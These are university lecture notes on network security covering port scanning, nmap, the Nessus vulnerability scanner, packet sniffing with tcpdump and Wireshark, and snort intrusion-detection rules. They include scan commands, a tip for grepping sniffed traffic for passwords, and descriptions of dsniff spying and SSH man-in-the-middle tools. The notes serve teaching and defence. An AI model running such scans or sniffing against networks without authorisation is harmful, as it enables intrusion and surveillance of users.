Home > Lecture 23: Port and Vulnerability Scanning, Packet Sniffing, Intrusion Detection, and Penetration Testing Lecture Notes on ��C

Lecture 23: Port and Vulnerability Scanning, Packet Sniffing, Intrusion Detection, and Penetration Testing Lecture Notes on ��C

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Lecture 23: Port and Vulnerability Scanning, Packet Sniffing, Intrusion Detection, and Penetration Testing Lecture Notes on ��Computer and Network Security�� by Avi Kak (kak@purdue.edu)
April 9, 2024
©2024 Avinash Kak, Purdue University
• Port scanners • The nmap port scanner • Vulnerability scanners • The Nessus vulnerability scanner • Packet sniffers • Intrusion detection • The Metasploit Framework • The Netcat utility

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Section Title Page
23.1 Port Scanning
3 23.1.1 Port Scanning with Calls to connect() 5 23.1.2 Port Scanning with TCP SYN Packets 7 23.1.3 The nmap Port Scanner 9
23.2 Vulnerability Scanning
14 23.2.1 The Nessus Vulnerability Scanner 15 23.2.2 Installing Nessus 18 23.2.3 About the nessus Client 22
23.3 Packet Sniffing
23 23.3.1 Packet Sniffing with tcpdump 30 23.3.2 Packet Sniffing with wireshark 33
23.4 Intrusion Detection with snort
23.5 Penetration Testing and Developing New
Exploits with the Metasploit Framework 23.6 The Extremely Versatile Netcat Utility
23.7 Homework Problems

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Back to TOC
• See Section 21.1 of Lecture 21 for the mapping between the
ports and many of the standard and non-standard services. As mentioned there, each service provided by a computer monitors a specific port for incoming connection requests. There are 65,535 different possible ports on a machine.
• The main goal of port scanning is to find out which ports are
open, which are closed, and which are filtered.
• Looking at your machine from the outside, a given port on
your machine is open only if you are running a server program on the machine and the port is assigned to the server. If you
are not running any server programs, then, from the outside, no ports on your machine are open. This could be the case with a brand new digital device that is not meant to provide any services to the rest of the world. But, even with a device that
was ��clean�� originally, should you happen to click accidentally on an email attachment consisting of malware, you could inadvertently end up installing a small server program in your machine that the bad guys could use to do their bad deeds.

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• When we say a port is filtered, what we mean is that the
packets passing through that port are subject to the filtering rules of a firewall.
• If a port on a remote host is open for incoming connection
requests and you send it a SYN packet, the remote host will respond back with a SYN+ACK packet (see Lecture 16 for a discussion of this).
• If a port on a remote host is closed and your computer sends it
a SYN packet, the remote host will respond back with a RST packet (see Lecture 16 for a discussion of this).
• Let��s say a port on a remote host is filtered with something like
an iptables based packet filter (see Lecture 18) and your scanner sends it a SYN packet or an ICMP ping packet, you may not get back anything at all.
• A frequent goal of port scanning is to find out if a remote host
is providing a service that is vulnerable to buffer overflow attack (see Lecture 21 for this attack).
• Port scanning may involve all of the 65,535 ports or only the
ports that are well-known to provide services vulnerable to different security-related exploits.

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23.1.1 Port Scanning with Calls to connect()
• The simplest type of a scan is made with a call to connect().
The manpage for this system call on Unix/Linux systems has the following prototype for this function:
#include <sys/socket.h> int connect(int socketfd, const struct sockaddr *address, socklen_t address_len);
where the parameter socketfd is the file descriptor associated with the internet socket constructed by the client (with a call to three-argument socket()), the pointer parameter address that points to a sockaddr structure that contains the IP address of the remote server, and the parameter address_len that specifies the length of the structure pointed to by the second argument.
• A call to connect() if successful completes a three-way
handshake (that was described in Lecture 16) for a TCP connection with a server. The header file sys/socket.h includes a number of definitions of the structs needed for socket programming in C.

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• When connect() is successful, it returns the integer 0,
otherwise it returns -1.
• In a typical use of connect() for port scanning, if the
connection succeeds, the port scanner immediately closes the connection (having ascertained that the port is open).

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Back to TOC
23.1.2 Port Scanning with TCP SYN Packets
• Scanning remote hosts with SYN packets is probably the most
popular form of port scanning.
• As discussed at length in Lecture 16 when we talked about SYN
flooding for DoS attacks, if your machine wants to open a TCP connection with another machine, your machine sends the remote machine a SYN packet. If the remote machine wants to respond positively to the connection request, it responds back with a SYN+ACK packet, that must then be acknowledged by your machine with an ACK packet.
• In a port scan based on SYN packets, the scanner machine sends
out SYN packets to the different ports of a remote machine. When the scanner machine receives a SYN+ACK packet in return for a given port, the scanner can be sure that the port on the remote machine is open. It is the ��duty�� of a good
port-scanner to immediately send back to the target machine an RST packet in response to a received SYN+ACK packet so that the half-open TCP circuit at the target is closed immediately.

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• Ordinarily, when a target machines receives a SYN packet for a
closed port, it sends back an RST packet back to the sender.
• Note that when a target machine is protected by a packet-level
firewall, it is the firewall rules that decide what the machine��s response will be to a received SYN packet.

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Back to TOC
23.1.3 The nmap Port Scanner
• nmap stands for ��network map��. This open-source scanner,
developed by Fyodor (see http://insecure.org/), is one of the most popular port scanners for Unix/Linux machines. There is good documentation on the scanner under the ��Reference Guide�� button at http://nmap.org/.
• nmap is actually more than just a port scanner. In addition to
listing the open ports on a network, it also tries to construct an
inventory of all the services running in a network. It also tries to detect as to which operating system is running on each machine, etc.
• In addition to carrying out a TCP SYN scan, nmap can also
carry out TCP connect() scans, UDP scans, ICMP scans, etc. [Regarding UDP scans, note that SYN is a TCP concept, so there is no such thing as
a UDP SYN scan. In a UDP scan, if a UDP packet is sent to a port that is not open, the remote machine will respond with an ICMP port-unreachable message. So the absence of a returned message can be construed as a sign of an open UDP port. However, as you should know from Lecture 18, a packet filtering firewall at a remote machine may prevent the machine from responding with an ICMP error message even when a port is closed.]

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• As listed in its manpage, nmap comes with a large number of
options for carrying out different kinds of security scans of a network. In order to give the reader a taste of the possibilities incorporated in these options, here is a partial description of the entries for a few of the options:
-sP : This option, also known as the ��ping scanning�� option, is for ascertaining as to which machines are up in a network. Under this option, nmap sends out ICMP echo request packets to every IP address in a network. Hosts that respond are up. But this does not always work since many sites now block echo request packets. To get around this, nmap can also send a TCP ACK packet to (by default) port 80. If the remote machine responds with a RST back, then that machine is up. Another possibility is to send the remote machine a SYN packet and wait for an RST or a SYN/ACK. For root users, nmap uses both the
ICMP and ACK techniques in parallel. For non-root users, only the TCP
connect() method is used.
-sS : The ��-sS�� option carries out a SYN scan. -sT : The ��-sT�� option carries out a TCP connect() scan. See Section 23.1.1 for port scanning with calls to connect(). -sU : This option sends a dataless UDP header to every port. As mentioned earlier in this section, the state of the port is inferred from the ICMP response packet (if there is such a response at all). -sV : This is also referred to as ��Version Detection��. After nmap figures out which TCP and/or UDP ports are open, it next tries to figure out what service is actually running at each of those ports. A file called nmap-services-probes is used to determine the best probes for detecting various services. In addition to determine the service protocol (http, ftp, ssh, telnet, etc.), nmap also tries to determine the application name (such as Apache httpd, ISC bind, Solaris telnetd, etc.), version number, etc.

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• If nmap is compiled with OpenSSL support, it will connect to
SSL servers to figure out the service listening behind the encryption.
• To carry out a port scan of your own machine, you could try
(called as root)
nmap -sS localhost where, as mentioned, the ��-sS�� option carries out a SYN scan. If you wanted to carry out an ��aggressive�� SYN scan of, say,
moonshine.ecn.purdue.edu, you would call as root:
nmap -sS -A moonshine.ecn.purdue.edu
where you can think of the ��-A�� option as standing for either ��aggressive�� or ��advanced.�� This option enables OS detection, version scanning, script scanning, and more. [IMPORTANT: If the
target machine has the DenyHosts shield running to ward off the dictionary attacks (See Lecture 24 for what that means) and you repeatedly scan that machine with the ��-A�� option turned on, your IP address may become quarantined on the target machine (assuming that port 22 is included in the range of the ports scanned). When that happens, you will not be able to SSH into the target machine. The reason I mention this is because, when first using nmap, most folks start by scanning the machines they normally use for everyday work. Should the IP address of your machine become inadvertently quarantined in an otherwise useful-to-you target machine, you will have to ask the administrator of the target machine to restore your SSH privileges there. This would normally require deleting your IP address from six different files that are maintained by DenyHosts.]

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• You can limit the range of ports to scan with the ��-p�� option, as
in the following call which will cause only the first 1024 ports to be scanned:
nmap -p 1-1024 -sT moonshine.ecn.purdue.edu
• The larger the number of router/gateway boundaries that need
to be crossed, the less reliable the results returned by nmap. As an illustration, I rarely get accurate results with nmap when I am port scanning a Purdue machine from home. [When scanning a
remote machine several hops away, I sometimes get better results with my very simple port scanner port scan.pl shown in Lecture 16. But, obviously, that scanner comes nowhere close to matching the amazing capabilities of nmap.]
• When I invoked nmap on localhost, I got the following result
Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at 2007-03-14 10:20 EDT Interesting ports on localhost.localdomain ( (The 1648 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 465/tcp open smtps 587/tcp open submission 631/tcp open ipp 814/tcp open unknown 953/tcp open rndc 1241/tcp open nessus 3306/tcp open mysql Nmap run completed -- 1 IP address (1 host up) scanned in 0.381 seconds

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• By default, nmap first pings a remote host in a network before
scanning the host. The idea is that if the machine is down, why waste time by scanning all its ports. But since many sites now block/filter the ping echo request packets, this strategy may bypass machines that may otherwise be up in a network. To change this behavior, the following sort of a call to nmap may produce richer results (at the cost of slowing down a scan):
nmap -sS -A -P0 moonshine.ecn.purdue.edu
The ��-P0�� option (the second letter is ��zero��) tells nmap to not use ping in order to decide whether a machine is up.
• nmap can make a good guess of the OS running on the target
machine by using what��s known as ��TCP/IP stack
fingerprinting.�� It sends out a series of TCP and UDP packets
to the target machine and examines the content of the returned packets for the values in the various header fields. These may include the sequence number field, the initial window size field, etc. Based on these values, nmap then constructs an OS ��signature�� of the target machine and sends it to a database of such signatures to make a guess about the OS running on the target machine.

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• The terms security scanner, vulnerability scanner, and
security vulnerability scanner all mean roughly the same
thing. Any such ��system�� may also be called just a scanner in the context of network security. Vulnerability scanners frequently include port scanning.
• A vulnerability scanner scans a specified set of ports on a
remote host and tries to test the service offered at each port for its known vulnerabilities.
• Be forewarned that an aggressive vulnerability scan may crash
the machine you are testing. It is a scanner��s job to connect to
all possible services on all the open ports on a host. By the very nature of such a scan, a scanner will connect with the ports and test them out in quick succession. If the TCP engine on the machine is poorly written, the machine may get overwhelmed by the network demands created by the scanner and could simply crash. That��s why many sysadmins carry out security
scans of their networks no more than once a month or even once a quarter.

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23.2.1 The Nessus Vulnerability Scanner
• According to the very useful web site ��Top 125 Network
Security Tools�� (http://sectools.org), the source code for Nessus, which started out as an open-source project, was closed in 2005. Now for commercial applications you have to maintain a paid subscription to the company Tenable Computer Networks for the latest vulnerability signatures. However, it is still free for personal and non-commercial use. [The http://sectools.org
website is a very useful place to visit to get an overview of the most commonly used computer security tools today. This website is maintained by the same folks who bring you the nmap scanner.]
• Nessus is a remote security scanner, meaning that it is
typically run on one machine to scan all the services offered by a
remote machine in order to determine whether the latter is
safeguarded against all known security exploits.
• According to the information posted at http://www.nessus.org: Nessus
is the world��s most popular vulnerability scanner that is used in over 75,000 organizations world-wide.
• The ��Nessus�� Project was started by Renaud Deraison in 1998.
In 2002, Renaud co-founded Tenable Network Security with

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Ron Gula, creator of the Dragon Intrusion Detection System and Jack Huffard. Tenable Network Security is the owner, sole developer and licensor for the Nessus system.
• The Nessus vulnerability scanning system consists of a server
and a client. They can reside in two separate machines.
• The server program is called nessusd. This is the program that
��attacks�� other machines in a network. In a standard install of
this software, the server is typically at the path
• The client program is called nessus. The client, at the path
/opt/nessus/bin/nessus, orchestrates the server, meaning that it
tells the server as to what forms of attacks to launch and where to deposit the collected security information. The client
packages different attack scenarios under different names so that you can use the same attack scenario on different machines or different attack scenarios on the same machine.
• While the server nessusd runs on a Unix/Linux machine, it is
capable of carrying out a vulnerability scan of machines running other operating systems.
• The security tests for the Nessus system are written in a special

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scripting language called Network Attack Scripting Language (NASL). Supposedly, NASL makes it easy to create new
security tests.
• Each security test, written in NASL, consists of an external
plugin. As of April 2023, there are currently over 180,000
plugins available. New plugins are created as new security vulnerabilities are discovered. The command nessus-update-plugins can automatically update the database of plugins on your computer and do so on a regular basis. The following website provides up-do-date information regarding the available plugins:
• The client tells the server as to what category of plugins to use
for the scan.
• Nessus can detect services even when they are running on ports
other than the standard ports. That is, if the HTTP service is
running at a port other than 80 or TELNET is running on a port other than port 23, Nessus can detect that fact and apply the applicable tests at those ports.
• Nessus has the ability to test SSLized services such as HTTPS,

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23.2.2 Installing Nessus
• I went through the following steps to install this tool on my
Ubuntu laptop: – I downloaded the debian package from the Nessus website and installed it in my laptop with the following command:
dpkg -i Nessus-5.0.0-ubuntu1010_amd64.deb
When the package is installed, it displays the following message
All plugins loaded: - You can start nessusd by typing /etc/init.d/nessusd start - Then go to https://pixie:8834/ to configure your scanner
where ��pixie�� is the name of my laptop. Installation of the package will deposit all the Nessus related software in the various subdirectories of the /opt/nessus/ directory. In particular, all the client commands are placed in the bin subdirectory and all the root-required commands in the sbin directory. What that implies is that you must include
/opt/nessus/bin/ in the pathname for your account and /opt/nessus/sbin/ in the pathname for the root account.
You must also include /opt/nessus/man/ in your MANPATH to access the documentation pages for Nessus.

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– As root, you can now fire up the nessusd server by executing:
/etc/init.d/nessusd start
You can see that the Nessus server is up and running by doing any of the following:
netstat -n | grep tcp netstat -tap | grep LISTEN netstat -pltn | grep 8834
Any of these commands will show you that the Nessus server is running and monitoring port 8834 for scan requests from Nessus clients. – Now, in accordance with the message you saw when you installed the debian package, point your web browser to
https://pixie:8834/ (with ��pixie�� replaced by the name you
have given to your machine) to start up the web based
wizard for installing the rest of the server software (mainly the plugins you need for the scans) through a feed from
http://support.tenable.com. The web-based wizard will take you
directly to this URL after you have indicated whether you want a home feed or a professional feed. Go for home feed for now — it��s free. I believe the professional feed could set you back by around $1500 a year. When you register your server at the URL, you will receive a feed key that you must enter in the wizard for the installation to continue. If you are running a spam filter, make sure that it can accept email from nessus.org.

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– After you have entered the feed key in the install wizard in your web browser, you will be asked for a username and a password in your role as a sysadmin for the Nessus server. (Note that this is comparable to a root privilege). Should you forget the password, you can re-create a new sysadmin password by executing the command ��/opt/nessus/sbin/nessus-chpasswd admin�� as root. – After you you have entered the above info, the Nessus server will download all the plugins. As mentioned earlier, as of April 2023, there are over 180,000 of these plugins for all sorts of vulnerability scans. Each plugin is based on a
unique vulnerability signature. Eventually, you will see a
screen with the heading ��Nessus Vulnerability Scanner��. Under the header, you will see a bar that has ��Listing Scans�� on the left and a button for ��New Scan�� on the right. Click on the ��New Scan�� button to create a test scan to play with.
• If you wish to allow multiple clients (who may be on different
hosts in a network) to run scan through your Nessus server, you can do that by executing the following command as root
For further information on this command, do ��man
nessus-adduser��. You can also remove users (clients) by
executing as root the command ��nessus-rmuser��.

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• By the way, you can update your plugins by executing the
command ��sudo ./nessus-update-plugins�� in the
/opt/nessus/sbin/ directory. This updating step only works if
your server is registered with http://www.nessus.org/register/.
• You will find all the plugins in the following directory machine
where the server is installed:
After you have updated the plugins, you can do ��ls -last |
more�� in the above directory to see what sort of plugins were
installed in the latest update.

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23.2.3 About the Nessus Client
• When you install the debian package as described in the
previous subsection, the web-based install wizard I described there eventually takes you to a web based client. Note that it is
the client��s job to tell the server what sort of a vulnerability scan to run on which machines.
• Nessus also gives you a command-line client in the
/opt/nessus/bin directory. The name of the client is nessus. If
you do ��man nessus��, you will see examples of how to call the client on a targeted machine. The vulnerability scan carried out by the command-line client depend on the information you place in scan config file whose name carries the .nessus suffix.
• The basic parameters of how the nessus client interacts with a
Nessus server are controlled by the automatically generated
.nessusrc file that is placed in client user��s home directory.

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• A packet sniffer is a passive device (as opposed to a port or
vulnerability scanners that by their nature are ��active�� systems).
• Packet sniffers are more formally known as network analyzers
and protocol analyzers.
• The name network analyzer is justified by the fact that you can
use a packet sniffer to localize a problem in a network. As an example, suppose that a packet sniffer says that the packets are indeed being put on the wire by the different hosts. If the network interface on a particular host is not seeing the packets, you can be a bit more certain that the problem may be with the network interface in question.
• The name protocol analyzer is justified by the fact that a
packet sniffer can look inside the packets for a given service (especially the packets exchanged during handshaking and other such negotiations) and make sure that the packet composition is as specified in the RFC document for that service protocol.

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• What makes packet sniffing such a potent tool is that a
majority of LANs are based on the shared Ethernet notion. In a shared Ethernet, you can think of all of the computers in a LAN as being plugged into the same wire (notwithstanding appearances to the contrary). [Strictly speaking, it is only the hosts that are
behind the same switch that see all packets in their portion of the LAN. See Lecture 16 for the difference between routers, switches, and hubs.] So all the Ethernet
interfaces on all the machines that are plugged into the same router will see all the packets. On wireless LANs, all the
interfaces on the same channel see all the packets meant for all of the hosts that have signed up for that channel.
• As you��ll recall from Lecture 16, it is the lowest layer of the
TCP/IP protocol stack, the Physical Layer, that actually puts the information on the wire. What is placed on the wire
consists of data packets called frames. Each Ethernet interface
gets a 48-bit address, called the MAC address, that is used to specify the source address and the destination address in each frame. Even though each network interface in a LAN sees all the frames, any given interface normally would not accept a frame unless the destination MAC address corresponds to the interface. [The acronym MAC here stands for Media Access Control. Recall that in
Lecture 15, we used the same acronym for Message Authentication Code.]
• Here is the structure of an Ethernet frame:

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Preamble D-addr S-addr Frame-Type Data CRC MAC MAC 8 bytes 6 bytes 6 bytes 2 bytes 1500 bytes 4 bytes <----- Ethernet Frame Header -----> (max) 14 bytes <---------- maximum of 1514 bytes ---------------->
where ��D-addr�� stands for destination address and ��S-addr�� for source address. The 8-byte ��Preamble�� field consists of alternating 1��s and 0��s for the first seven bytes and ��10101011�� for the last byte; its purpose is to announce the arrival of a new frame and to enable all receivers in a network to synchronize themselves to the incoming frame. The 2-byte ��Type�� field identifies the higher-level protocol (e.g., IP or ARP) contained in the data field. The ��Type�� field therefore tells us how to interpret the data field. The last field, the 4-byte CRC (Cyclic Redundancy Check) provides a mechanism for the detection of errors that might have occurred during transmission. If an error
is detected, the frame is simply dropped. From the perspective
of a packet sniffer, each Ethernet frame consists of a maximum of 1514 bytes.
• The minimum size of an Ethernet frame is 64 bytes (D-addr: 6
bytes, S-addr: 6 bytes, Frame Type: 2 bytes, Data: 46 bytes, CRC checksum: 4 bytes). Padding bytes must be added if the
data itself consists of fewer than 46 bytes. The maximum size
is limited to 1518 bytes from the perspective of what��s put on the wire, since it includes the 4 bytes CRC checksum. From the perspective of what would be received by an upper level

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protocol (say, the IP protocol) at the receiving end, the maximum size is limited to 1514 bytes. As you can guess, the number of bytes in the data field must not exceed 1500 bytes. [In modern Gigabit networks, a frame size of only 1514 bytes leads to
excessively high frame rates. So there is now the notion of a Jumbo Ehternet Frame for ultrafast networks.]
• In the OSI model of the TCP/IP protocol stack [see Section 16.2 of
Lecture 16 for the OSI model], it is the Data Link Layer��s job to map the
destination IP address in an outgoing packet to the destination MAC address and to insert the MAC address in the outgoing frame. The Physical Layer then puts the frame on the wire. [From
the larger perspective of the internet, hosts are uniquely identified by their IP addresses. However, at a local level a machine cannot communicate with another machine or a router or a switch unless it has the MAC address for the destination interface. Coming up with a scalable and dynamic solution to the problem of how to obtain the MAC address that goes a with a given IP address that your machine wants to send a packet to was perhaps one of the
greatest engineering accomplishments that ultimately resulted in the worldwide internet as we know it today. You could ask why
not use the IP addresses directly as MAC addresses for communications in a local network. That would not be practical since we must allow a host to possess multiple
communication interfaces. If you did not allow for that, how would you get a router to work? With the clean separation between IP addresses and MAC addresses, a single host with a unique IP address is allowed to have an arbitrary number of interfaces, each with its own MAC address. With this separation between the addressing schemes, and with IP addresses
representing the main identity of a host, we are faced with the problem of discovering the MAC address associated with an interface for a host with a given IP address. (Obviously, when

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a host possesses multiple interfaces, only one can participate in a single LAN.) That��s where the ARP protocol comes in. The next bullet explains briefly what this protocol does.]
• The Data Link Layer uses a protocol called the Address
Resolution Protocol (ARP) to figure out the destination MAC address corresponding to the destination IP address. [In Section
9.8.1 of Lecture 9 I showed how ARP packets can be used to crack the encryption key in a locked WiFi.] As a first step in this protocol, the system looks into the
locally available ARP cache. If no MAC entry is found in this cache, the system broadcasts an ARP request for the needed MAC address. As this request propagates outbound toward the destination machine, either en-route gateway machine supplies the answer from its own ARP cache, or, eventually, the destination machine supplies the answer. The answer received is cached for a maximum of 2 minutes. [If you want to see the contents of the
ARP cache at any given moment, simply execute the command ��arp -n�� or ��arp -a�� from the command line. The latter version with the ��-a�� option also tries to associate symbolic hostnames with the IP addresses. Either version of the command will show you the IP addresses and the associated MAC addresses currently in the cache. You don��t have to be root to execute this command. Do man arp on your Ubuntu machine to find out more about the arp command. By the way, you can yourself flush the ARP cache by executing the command ��sudo ip -s -s neigh
flush all��, where the first ��-s�� is for the verbosity level and the second ��-s�� for setting the option
��neigh�� for neighborhood, and delete a specific entry in the cache with a command like ��sudo arp
-d�� if you wanted to delete the entry for the IP address After flushing the
entire cache or deleting a specific entry, the cache will be refilled with fresh entries as ARP broadcasts are made in the LAN. People sometimes play with these commands when they
are unable to get one host to communicate directly with another host in the same LAN.

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(Let��s say you are working at home and, using the rsync command, you want to transfer a directory directly from one machine to another.) In most such cases, the problems are caused more by something having gone awry in the operation of the router than in the communication interfaces of your machines. In my experience, such problems are best resolved by simply power cycling the router.]
• Unless otherwise constrained by the arguments supplied, a
packet sniffer will, in general, accept all of the frames in the LAN regardless of the destination MAC addresses in the individual frames.
• When a network interface does not discriminate between the
incoming frames on the basis of the destination MAC address, we say the interface is operating in the promiscuous mode. [You can easily get an interface to work in the promiscuous mode simply by invoking ��sudo ifconfg
ethX promisc�� where ethX stands for the name of the interface (it would be something like eth0, eth1, wlan0, etc.).]
• About the power of packet sniffers to ��spy�� on the users in a
LAN, the dsniff packet sniffer contains the following utilities that can collect a lot of information on the users in a network
sshmitm : This can launch a man-in-the-middle attack on an SSH link. (See Lecture 9 for the man-in-the-middle attack). As mentioned earlier, basically the idea is to intercept the public keys being exchanged between two parties A and B wanting to establish an SSH connection. The attacker, X, that can eavesdrop on the

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communication between A and B with the help of a packet sniffer pretends to be B vis-a-vis A and A vis-a-vis B. urlsnarf : From the sniffed packets, this utility extracts the URL��s of all the web sites that the network users are visiting. mailsnarf: This utility can track all the emails that the network users are receiving. webspy : This utility can track a designated user��s web surfing pattern in real-time. and a few others

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Back to TOC
23.3.1 Packet Sniffing with tcpdump
• This is an open-source packet sniffer that comes bundled with
all Linux distributions.
• You saw many examples in Lectures 16 and 17 where I used
tcpdump to give demonstrations regarding the various aspects of TCP/IP and DNS. The notes for those lectures include
explanations for the more commonly used command-line options for tcpdump.
• tcpdump uses the pcap API (in the form of the libpcap
library) for packet capturing. (The Windows equivalent of libpcap is WinCap.)
• Check the pcap manpage in your Linux installation for more
information about pcap. You will be surprised by how easy it
is to create your own network analyzer with the pcap packet capture library.
• Here is an example of how tcpdump could be used on your
Linux laptop:

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– First create a file for dumping all of the information that will be produced by tcpdump:
touch tcpdumpfile chmod 600 tcpdumpfile
where I have also made it inaccessible to all except myself as root. – Now invoke tcpdump:
sudo tcpdump > tcpdumpfile
This is where tcpdump begins to do its work. It will will print out a message saying as to which interface it is listening to. – After you have collected data for a while, invoke
sudo strings tcpdumpfile | more
This will print out all the strings, meaning sequences of characters delimited by nonprintable characters, in the tcpdumpfile. The function strings is in the binutils package. – For example, if you wanted to see your password in the dump file, you could invoke:
strings tcpdumpfile | grep -i password

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– Hit <ctrl-c> in the terminal window in which you started tcpdump to stop packet sniffing.

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Back to TOC
23.3.2 Packet Sniffing with wireshark (formerly ethereal)
• Wireshark is a packet sniffer that, as far as packet sniffing is
concerned, works in basically the same manner as tcpdump. (It also uses the pcap library.) What makes wireshark special is its GUI front end that makes it extremely easy to analyze the packets.
• As you play with Wireshark, you will soon realize the
importance of a GUI based interface for understanding the packets and analyzing their content in your network. To cite just one example of the ease made possible by the GUI frontend, suppose you have located a suspicious packet and now you want to look at the rest of the packets in just that TCP stream. With Wireshark, all you have to do is to click on that packet and turn on ��follow TCP stream feature��. Subsequently, you will only see the packets in that stream. The packets you will see will include resend packets and ICMP error message packets relevant to that stream.
• With a standard install of the packages, you can bring up the
wireshark GUI by just entering wireshark in the command line. While you can call wireshark in a command line with a

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large number of options to customize its behavior, it is better to use the GUI itself for that purpose. So call wireshark without any options. [If you are overwhelmed by the number of packets you see
in the main window, enter something like http in the ��Filter�� text window just below the top-level icons. Subsequently, you will only see the http packets. By filtering out the packets you do not wish to see, it is easier to make sense of what is going on.]
• The wireshark user��s manual (HTML) is readily accessible
through the ��Help�� menu button at the top of the GUI.
• To get started with sniffing, you could start by clicking on
��capture��. This will bring up a dialog window that will show all of the network interfaces on your machine. Click on ��Start�� for the interface you want to sniff on. Actually, instead click on the ��Options�� for the interface and click on ��Start�� through the resulting dialog window where you can name the file in which the packets will be dumped.
• You can stop sniffing at any time by clicking on the second-row
icon with a little red ��x�� on it.
• Wireshark understand 837 different protocols. You can see the
list under ��Help�� menu button. It is instructive to scroll down this list if only to get a sense of how varied and diverse the world internet communications has become.

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• Wireshark gives you three views of each packet:
– A one line summary that looks like
Packet Time Source Destination Protocol Info Number ------------------------------------------------------------------ 1 1.018394 TCP SSH > 33824 [RST,ACK] ..
– A display in the middle part of the GUI showing further details on the packet selected. Suppose I select the above packet by clicking on it, I could see something like the following in this ��details�� display:
Frame 1 (54 bytes on the wire, 54 bytes captured) Ethernet II, Src: Cisco-Li_6f:a8:db (00:18:39:6f:a8:db), Dst: ........... Internet Protocol: Src: ( Dst: ....... Transmission Control Protocol: Src Port: ssh (22), Dst Port: 33824 ....
– The lowest part of the GUI shows the hexdump for the packet.
• Note that wireshark will set the local Ethernet interface to
promiscuous mode so that it can see all the Ethernet frames.

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Back to TOC
• You can think of an intrusion detector as a packet sniffer on
• While being a passive capturer of the packets in a LAN just like
a regular packet sniffer, an intrusion detector can bring to bear
on the packets some fairly complex logic to decide whether an intrusion has taken place.
• One of the best known intrusion detectors is snort. By
examining all the packets in a network and applying appropriate rulesets to them, it can do a good job of detecting intrusions. [snort does everything that tcpdump does plus more.] Like tcpdump, snort is an open-source command-line tool.
• What makes snort a popular choice is its easy-to-learn and
easy-to-use rule language for intrusion detection. Just to get an idea of the range of attacks that people have written intrusion-detection rules for, here are the names of the rule files in /etc/snort/rules directory on my Ubuntu machine:

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backdoor.rules community-web-iis.rules pop2.rules bad-traffic.rules community-web-misc.rules pop3.rules chat.rules community-web-php.rules porn.rules community-bot.rules ddos.rules rpc.rules community-deleted.rules deleted.rules rservices.rules community-dos.rules dns.rules scan.rules community-exploit.rules dos.rules shellcode.rules community-ftp.rules experimental.rules smtp.rules community-game.rules exploit.rules snmp.rules community-icmp.rules finger.rules sql.rules community-imap.rules ftp.rules telnet.rules community-inappropriate.rules icmp-info.rules tftp.rules community-mail-client.rules icmp.rules virus.rules community-misc.rules imap.rules web-attacks.rules community-nntp.rules info.rules web-cgi.rules community-oracle.rules local.rules web-client.rules community-policy.rules misc.rules web-coldfusion.rules community-sip.rules multimedia.rules web-frontpage.rules community-smtp.rules mysql.rules web-iis.rules community-sql-injection.rules netbios.rules web-misc.rules community-virus.rules nntp.rules web-php.rules community-web-attacks.rules oracle.rules x11.rules community-web-cgi.rules other-ids.rules community-web-client.rules p2p.rules
• To give you a taste of the rule syntax, here is a simple rule:
alert tcp any any -> 80 (content:"|A1 CC 35 87|"; msg:"accessing port 80 on local")
where the keyword alert is the action part of the rule, the keyword tcp the protocol part, the string any any the source address and the source port, the string -> the direction operator, and the string 80 the destination address and port . These five parts constitute the rule
header. What comes after that inside ��()�� is the rule body.

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• To understand the header better, the string any any when
used as the source means ��from any IP address and from any source port.�� The portion of the destination part means a Class C private network with its first 24 bits fixed as specified by the first three decimal numbers in the decimal-dot notation. The portion 80 specifies the destination port. The direction operator can be either -> or <- or <>, the last for packets going in either direction.
• It is the body of a rule that takes some time getting used to.
Remember, the body is whatever is between the parentheses ��(�� and ��)��.
• The body consists of a sequence of rule options separated by
��;��. A couple of the more frequently used options are: (1) the
payload detection option, and (2) the metadata option. The
purpose of the payload detection option is to establish a criterion for triggering the rule. The purpose of the metadata option is to convey some useful information back to the human operator.
• Each option in the body of a rule begins with a keyword
followed by a colon.
• Some of the more commonly used keywords for the payload
detection option are: content that looks for a string of bytes in

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the packet payload, nocase that makes payload detection case insensitive, offset that specifies how many bytes to skip before searching for the triggering condition, pcre that says that matching of the payload will be with a Perl compatible regular expression, etc.
• Some of the more commonly used keywords are for the
metadata option are: msg, reference, classtype, priority,
sid, rev, etc.
• In the rule example shown at the bottom of page 37, the body
contains two options: the payload detection option content and the metadata option msg. Therefore, that rule will be triggered by any TCP packet whose payload contains the byte sequence A1 CC 35 87. When you are listing the bytes in hex, you are supposed to place them between ��|�� and ��|��.
• It is often useful to only trigger a rule if the packet belongs to
an established TCP session. This is accomplished with the flow option. The body of a rule will contain a string like flow: to server, established if you wanted the rule to be triggered by a packet meant for a server and it was a part of an established session between the server and a client.
• You can also cause one rule to create conditions for triggering
another rule later on. This is done with the flowbits option.

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An option declaration inside the rule body that looks like
flowbits:set, community_is_proto_irc;
means that you have set a tag named community is proto irc. Now if there is another rule that contains the following option declaration inside its body:
flowbits:isset, community_is_proto_irc;
this would then become a condition for the second rule to fire.
• With that very brief introduction to the rule syntax, let��s now
peek into some of the rule files that are used for intrusion detection.
• Shown below are some beginning rules in the file
community-bot. rules. These rules look for botnets using
popular bot software. [As explained in Lecture 29, a botnet is a typically a
collection of compromised computers — usually called zombies or bots — working together under the control of their human handlers — frequently called bot herders — who may use the botnet to spew out malware such as spam, spyware, etc. It makes it more difficult to track down malware if it seems to emanate randomly from a large network of zombies.] A bot herder typically
sets up an IRC (Internet Relay Chat) channel for instant communications with the bots under his/her control. Therefore, the beginning of the ruleset shown below focuses on the IRC traffic in a network. [Although it is relatively trivial to set up a chat server (for
example, see Chapter 19 of my PwO book for C++ and Java examples and Chapter 15 of my SwO book for Perl and Python examples), what makes IRC different is that one IRC server can connect 40

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with other IRC servers to expand the IRC network. Ideally, when inter-server hookups are allowed, the servers operate in a tree topology in which the messages are routed only through the branches that are necessary to serve all the clients but with every server aware of the state of the network. IRC also allows for private client-to-client messaging and for private individual-to-group link-ups.
That should explain why bot herders like IRC. Joining an IRC chat does not require a log-in,
but it does require a nickname (frequently abbreviated as just nick in IRC jargon). See Lecture 29
for further information on botnets.]
